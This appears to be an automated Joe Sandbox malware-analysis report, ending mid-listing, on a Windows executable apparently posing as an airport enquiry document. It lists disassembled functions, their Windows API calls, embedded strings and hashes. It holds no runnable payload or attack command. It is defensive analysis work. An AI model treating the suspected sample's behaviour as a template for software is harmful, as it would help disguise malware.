Opcode Fuzzy Hash: 2d00b0fb9941601b2f7357cc1a5593e137fc734bcf08d26f72a75cc2896e8e7f
Instruction Fuzzy Hash: 2FA18EB02143019BCB14EF20C991F7AB3A5EF85318F18496DB99A9B3D2DB30EC05DB65

Function 00CF52F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00CF5309
LoadCursorW.USER32(00000000,00007F8A), ref: 00CF5314
LoadCursorW.USER32(00000000,00007F00), ref: 00CF531F
LoadCursorW.USER32(00000000,00007F03), ref: 00CF532A
LoadCursorW.USER32(00000000,00007F8B), ref: 00CF5335
LoadCursorW.USER32(00000000,00007F01), ref: 00CF5340
LoadCursorW.USER32(00000000,00007F81), ref: 00CF534B
LoadCursorW.USER32(00000000,00007F88), ref: 00CF5356
LoadCursorW.USER32(00000000,00007F80), ref: 00CF5361
LoadCursorW.USER32(00000000,00007F86), ref: 00CF536C
LoadCursorW.USER32(00000000,00007F83), ref: 00CF5377
LoadCursorW.USER32(00000000,00007F85), ref: 00CF5382
LoadCursorW.USER32(00000000,00007F82), ref: 00CF538D
LoadCursorW.USER32(00000000,00007F84), ref: 00CF5398
LoadCursorW.USER32(00000000,00007F04), ref: 00CF53A3
LoadCursorW.USER32(00000000,00007F02), ref: 00CF53AE
GetCursorInfo.USER32(?), ref: 00CF53BE
GetLastError.KERNEL32(00000001,00000000), ref: 00CF53E9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: c738e193a047bbe9ab78bdb84d3f80d8dcff68d043658a7e861f465aef68cc16
Instruction ID: b25b3549bcfd767511b9c88e9966ca4e7e8681e1a79ae7c636296a2e0297d046
Opcode Fuzzy Hash: c738e193a047bbe9ab78bdb84d3f80d8dcff68d043658a7e861f465aef68cc16
Instruction Fuzzy Hash: FF418670E043196ADB509FBA8C4996FFFF8EF51B10B10452FE619E7290DAB8A501CE61

Function 00CDAA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CDAAA5
__swprintf.LIBCMT ref: 00CDAB46
_wcscmp.LIBCMT ref: 00CDAB59
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00CDABAE
_wcscmp.LIBCMT ref: 00CDABEA
GetClassNameW.USER32(?,?,00000400), ref: 00CDAC21
GetDlgCtrlID.USER32(?), ref: 00CDAC73
GetWindowRect.USER32(?,?), ref: 00CDACA9
GetParent.USER32(?), ref: 00CDACC7
ScreenToClient.USER32(00000000), ref: 00CDACCE
GetClassNameW.USER32(?,?,00000100), ref: 00CDAD48
_wcscmp.LIBCMT ref: 00CDAD5C
GetWindowTextW.USER32(?,?,00000400), ref: 00CDAD82
_wcscmp.LIBCMT ref: 00CDAD96

Part of subcall function 00CA386C: _iswctype.LIBCMT ref: 00CA3874

Strings

%s%u, xrefs: 00CDAB40

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 5c55aff145886df31474776950232e4e55d519dfeaa614947954cb9891935d7b
Instruction ID: da888eb540ac3e589e671e66e8fe832b2bca8d5add17e25475d6c00540257d9a
Opcode Fuzzy Hash: 5c55aff145886df31474776950232e4e55d519dfeaa614947954cb9891935d7b
Instruction Fuzzy Hash: 39A1F571204706AFDB14DF20C884FAAF7E9FF44315F10462AFAA9C2690D730EA55DB92

Function 00CDB397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00CDB3DB
_wcscmp.LIBCMT ref: 00CDB3EC
GetWindowTextW.USER32(00000001,?,00000400), ref: 00CDB414
CharUpperBuffW.USER32(?,00000000), ref: 00CDB431
_wcscmp.LIBCMT ref: 00CDB44F
_wcsstr.LIBCMT ref: 00CDB460
GetClassNameW.USER32(00000018,?,00000400), ref: 00CDB498
_wcscmp.LIBCMT ref: 00CDB4A8
GetWindowTextW.USER32(00000002,?,00000400), ref: 00CDB4CF
GetClassNameW.USER32(00000018,?,00000400), ref: 00CDB518
_wcscmp.LIBCMT ref: 00CDB528
GetClassNameW.USER32(00000010,?,00000400), ref: 00CDB550
GetWindowRect.USER32(00000004,?), ref: 00CDB5B9

Strings

ThumbnailClass, xrefs: 00CDB4A3, 00CDB523
@, xrefs: 00CDB3BC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: cf64751e5def39c46b24a1f9836f673b823fbf8c60727445f45d9523f6a8950b
Instruction ID: 58be0c2267ec4694483526f34674648ec9b88d5347914b80b5d7c110fcc30f6b
Opcode Fuzzy Hash: cf64751e5def39c46b24a1f9836f673b823fbf8c60727445f45d9523f6a8950b
Instruction Fuzzy Hash: 4F81B171008306DBDB14DF10D885FAAB7E8EF44714F14856AFE998A292EB30DE46DB61

Function 00CDB1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CDB23F

Strings

[REGEXPTITLE:, xrefs: 00CDB267
HANDLE=, xrefs: 00CDB238
[LAST, xrefs: 00CDB2EC
ACTIVE, xrefs: 00CDB21A
ALL, xrefs: 00CDB2D3
REGEXP=, xrefs: 00CDB254
[ALL, xrefs: 00CDB2E5
CLASSNAME=, xrefs: 00CDB27C
[ACTIVE, xrefs: 00CDB22C
LAST, xrefs: 00CDB204
[HANDLE:, xrefs: 00CDB24B
[CLASS:, xrefs: 00CDB28F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: af80fb2d4e996f1cdcf958410144874e35b31c8781965f57e00c3516ed44f7fa
Instruction ID: c364ea1b8c47672262473defe7c6ea2820a20dbed2a52e4524a74a2376ca203a
Opcode Fuzzy Hash: af80fb2d4e996f1cdcf958410144874e35b31c8781965f57e00c3516ed44f7fa
Instruction Fuzzy Hash: 2B310932904305EADB14FA61CDA3EEEB7B49F10754F60012AF551711D2FFA1AF08E665

Function 00CDC4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00CDC4D4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00CDC4E6
SetWindowTextW.USER32(?,?), ref: 00CDC4FD
GetDlgItem.USER32(?,000003EA), ref: 00CDC512
SetWindowTextW.USER32(00000000,?), ref: 00CDC518
GetDlgItem.USER32(?,000003E9), ref: 00CDC528
SetWindowTextW.USER32(00000000,?), ref: 00CDC52E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00CDC54F
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00CDC569
GetWindowRect.USER32(?,?), ref: 00CDC572
SetWindowTextW.USER32(?,?), ref: 00CDC5DD
GetDesktopWindow.USER32 ref: 00CDC5E3
GetWindowRect.USER32(00000000), ref: 00CDC5EA
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00CDC636
GetClientRect.USER32(?,?), ref: 00CDC643
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00CDC668
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00CDC693

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 8968b6f498d12b7195a65e4297b20077bc5f590d4745ffd6ce8ec38d9f1dd62b
Instruction ID: e6fba0d6fb25be89c8f4db6c3796876b58ce75f673d614b40d1611e26a92042b
Opcode Fuzzy Hash: 8968b6f498d12b7195a65e4297b20077bc5f590d4745ffd6ce8ec38d9f1dd62b
Instruction Fuzzy Hash: 67519D3090070AAFDB20DFA8DD85B6EBBF5FF04704F100929E696A26A0D771E905DB50

Function 00D0A428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0A4C8
DestroyWindow.USER32(00000000,?), ref: 00D0A542

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00D0A5BC
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00D0A5DE
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D0A5F1
DestroyWindow.USER32(00000000), ref: 00D0A613
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00C80000,00000000), ref: 00D0A64A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D0A663
GetDesktopWindow.USER32 ref: 00D0A67C
GetWindowRect.USER32(00000000), ref: 00D0A683
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00D0A69B
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00D0A6B3

Part of subcall function 00C825DB: GetWindowLongW.USER32(?,000000EB), ref: 00C825EC

Strings

0, xrefs: 00D0A4DE
tooltips_class32, xrefs: 00D0A5B5, 00D0A643

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 7476f88e5ff743ba57ffbe910a254aadaa4ebefd2ad0bd7f427426b78cd1006d
Instruction ID: b8df284caab1e5f272f27aab0604a2c5a861ab79efe77909a3ac9a7ddc3d8ff1
Opcode Fuzzy Hash: 7476f88e5ff743ba57ffbe910a254aadaa4ebefd2ad0bd7f427426b78cd1006d
Instruction Fuzzy Hash: 2F718870140705AFD720DF28CC49F6A7BF5EB89304F98492DF989872A1D772E942CB26

Function 00D0C8EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

DragQueryPoint.SHELL32(?,?), ref: 00D0C917

Part of subcall function 00D0ADF1: ClientToScreen.USER32(?,?), ref: 00D0AE1A
Part of subcall function 00D0ADF1: GetWindowRect.USER32(?,?), ref: 00D0AE90
Part of subcall function 00D0ADF1: PtInRect.USER32(?,?,00D0C304), ref: 00D0AEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 00D0C980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00D0C98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00D0C9AE
_wcscat.LIBCMT ref: 00D0C9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00D0C9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 00D0CA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 00D0CA25
SendMessageW.USER32(?,000000B1,?,?), ref: 00D0CA47
DragFinish.SHELL32(?), ref: 00D0CA4E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00D0CB41

Strings

@GUI_DRAGID, xrefs: 00D0CAB9
@GUI_DRAGFILE, xrefs: 00D0CAF0
@GUI_DROPID, xrefs: 00D0CA6E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 4c8292dc7d505b179cf8001291ff34a4fa6e2c433e1b3fcfbf0cb9d781fa6def
Instruction ID: 1999bf237a5a54f3b10c4b884bbd53b0f78c25db142a37546bd27969d0c64e9e
Opcode Fuzzy Hash: 4c8292dc7d505b179cf8001291ff34a4fa6e2c433e1b3fcfbf0cb9d781fa6def
Instruction Fuzzy Hash: CC618E71108301AFC710EF54DC85EAFBBE8EF89714F500A1EF596922A1DB70DA09DB66

Function 00D04619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D046AB
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D046F6

Strings

SELECT, xrefs: 00D048A7
GETTEXT, xrefs: 00D04849
CHECK, xrefs: 00D04716
GETTOTALCOUNT, xrefs: 00D046DD
GETSELECTED, xrefs: 00D04806
EXPAND, xrefs: 00D047A8
EXISTS, xrefs: 00D0475F
COLLAPSE, xrefs: 00D0473C
ISCHECKED, xrefs: 00D04879
UNCHECK, xrefs: 00D048D2
GETITEMCOUNT, xrefs: 00D047D8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 0470576f5f5915b9de11b707407b169ff54545fc0c7cd85e5b8276457bc75449
Instruction ID: 8dfcfa819ffe8794f65805b553a9d0ec22283bf55fc1918bc6b154cb7ce298fc
Opcode Fuzzy Hash: 0470576f5f5915b9de11b707407b169ff54545fc0c7cd85e5b8276457bc75449
Instruction Fuzzy Hash: C291A1B46043019FCB14EF10C491B6EB7A1EF85358F14886DF99A5B3A2DB31ED06EB91

Function 00D0BAB8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00D0BB6E
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00D06D80,?), ref: 00D0BBCA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D0BC03
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00D0BC46
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D0BC7D
FreeLibrary.KERNEL32(?), ref: 00D0BC89
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D0BC99
DestroyIcon.USER32(?), ref: 00D0BCA8
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00D0BCC5
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00D0BCD1

Part of subcall function 00CA313D: __wcsicmp_l.LIBCMT ref: 00CA31C6

Strings

.dll, xrefs: 00D0BB27
.icl, xrefs: 00D0BAE4
.exe, xrefs: 00D0BB04

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: af1f56bc62edebca39e318c590a02923e614b37b6ce3e4a9c5a6bf65edeee45d
Instruction ID: 71d1a211d4b17bb25b870e1eee4184cd7fa901bd3ac6aecb49bff29b0c6705d3
Opcode Fuzzy Hash: af1f56bc62edebca39e318c590a02923e614b37b6ce3e4a9c5a6bf65edeee45d
Instruction Fuzzy Hash: 2B61BE71504319BEEB24DF74CC85BBE77A8EB08721F20451AF919D62D0DBB4A990DBB0

Function 00CEA5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

CharLowerBuffW.USER32(?,?), ref: 00CEA636
GetDriveTypeW.KERNEL32 ref: 00CEA683
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEA6CB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEA702
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEA730

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Strings

set cd door , xrefs: 00CEA6D1
type cdaudio alias cd wait, xrefs: 00CEA6AE
closed, xrefs: 00CEA64A, 00CEA653
close, xrefs: 00CEA63C
open , xrefs: 00CEA692
open, xrefs: 00CEA65D
wait, xrefs: 00CEA6ED
close cd wait, xrefs: 00CEA71B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 7887af355c504dc86a9bdc508edc0c9835cd96e912799dae1e73119988c25abb
Instruction ID: 652f133409d99356ac92a329d300a7f969ee7672ec9b32c65631f87d0cd6fb6b
Opcode Fuzzy Hash: 7887af355c504dc86a9bdc508edc0c9835cd96e912799dae1e73119988c25abb
Instruction Fuzzy Hash: 3751AD711047059FC700EF25C88196AB7F8FF98718F14496DF89A972A1DB31EE0ADB52

Function 00CEA45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00CEA47A
__swprintf.LIBCMT ref: 00CEA49C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00CEA4D9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00CEA4FE
_memset.LIBCMT ref: 00CEA51D
_wcsncpy.LIBCMT ref: 00CEA559
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00CEA58E
CloseHandle.KERNEL32(00000000), ref: 00CEA599
RemoveDirectoryW.KERNEL32(?), ref: 00CEA5A2
CloseHandle.KERNEL32(00000000), ref: 00CEA5AC

Strings

\, xrefs: 00CEA4B2
:, xrefs: 00CEA4BD
\??\%s, xrefs: 00CEA496

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: fe3e6b3c1812e66bf80834a4be88ac81936eb28adb29aed185960ef6a5159fca
Instruction ID: 4bd2c4ab5edba832c1a5fbb782895364bdbb1500bc580df8cd2e0f8923cbe5e0
Opcode Fuzzy Hash: fe3e6b3c1812e66bf80834a4be88ac81936eb28adb29aed185960ef6a5159fca
Instruction Fuzzy Hash: FD31B2B150024AABDB21DFA1DC49FEB77BCEF89701F2041B6F918D2160E770A7448B25

Function 00CBAB1B Relevance: 22.7, APIs: 15, Instructions: 211COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 00CBAB7B
___wtomb_environ.LIBCMT ref: 00CBAB9D

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

__malloc_crt.LIBCMT ref: 00CBABC5
__malloc_crt.LIBCMT ref: 00CBABE2
_free.LIBCMT ref: 00CBAC19
__recalloc_crt.LIBCMT ref: 00CBAC52
__recalloc_crt.LIBCMT ref: 00CBAC97
_strlen.LIBCMT ref: 00CBACC3
__calloc_crt.LIBCMT ref: 00CBACCD
_strlen.LIBCMT ref: 00CBACDC
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 00CBAD0A
_free.LIBCMT ref: 00CBAD24
_free.LIBCMT ref: 00CBAD31
_free.LIBCMT ref: 00CBAD43
__invoke_watson.LIBCMT ref: 00CBAD5D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: b15437ff353952f5125ce631e8600e032479e36635af21443fc4dc8fc742af3d
Instruction ID: 8200ca39db0e0f733cdf7ac41fd4275de657604016b8dc7b8391bcf6789c664f
Opcode Fuzzy Hash: b15437ff353952f5125ce631e8600e032479e36635af21443fc4dc8fc742af3d
Instruction Fuzzy Hash: 76610872900316AFDB209F74DC42BE97BA5EF12325F104119E8A1DB2D1DB35DE80D7A2

Function 00CEDB04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00CEDC7B
_wcscat.LIBCMT ref: 00CEDC93
_wcscat.LIBCMT ref: 00CEDCA5
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00CEDCBA
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEDCCE
